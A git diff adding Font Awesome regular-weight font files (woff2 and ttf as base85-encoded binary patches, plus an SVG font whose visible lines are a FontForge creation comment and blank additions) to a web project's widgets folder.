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 HJNN#7)2yBs literal 0 HcmV?d00001 diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.svg b/pages/widgets/_snippets/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..13180f6 --- /dev/null +++ b/pages/widgets/_snippets/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.ttf b/pages/widgets/_snippets/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000000000000000000000000000000000000..abe99e20c38a23e95295917d6a5cdb49a8489eb8 GIT binary patch literal 34092 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 